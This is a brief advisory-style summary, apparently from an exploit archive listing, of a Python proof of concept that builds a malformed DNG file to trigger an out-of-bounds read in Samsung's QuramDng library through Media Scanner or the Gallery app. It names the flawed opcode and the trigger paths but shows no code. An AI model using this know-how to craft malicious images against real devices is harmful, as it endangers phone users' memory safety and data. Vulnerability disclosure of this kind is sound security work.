    [+] References :  https://packetstorm.news/files/id/215033/ & CVE-2026-20973
    
    [+] Summary    : This Python proof of concept demonstrates an out-of-bounds (OOB) read vulnerability in Samsung’s QuramDng image processing library, triggered via a specially crafted DNG (Digital Negative) file.
                     The script programmatically builds a minimal but valid DNG file containing a malformed WarpRectilinear opcode, designed to provoke unsafe memory access when processed by Samsung components such as Media Scanner (ipservice) or the Gallery app.
    
    [+] The PoC includes:
    
    Automatic creation of the malicious DNG file.
    
    Multiple trigger methods (Media Scanner or Gallery).
    
    Logcat-based crash monitoring to detect SIGSEGV or QuramDng-related faults.
    
    Optional generation of a Frida JavaScript monitoring script to observe Warp-related function calls at runtime.
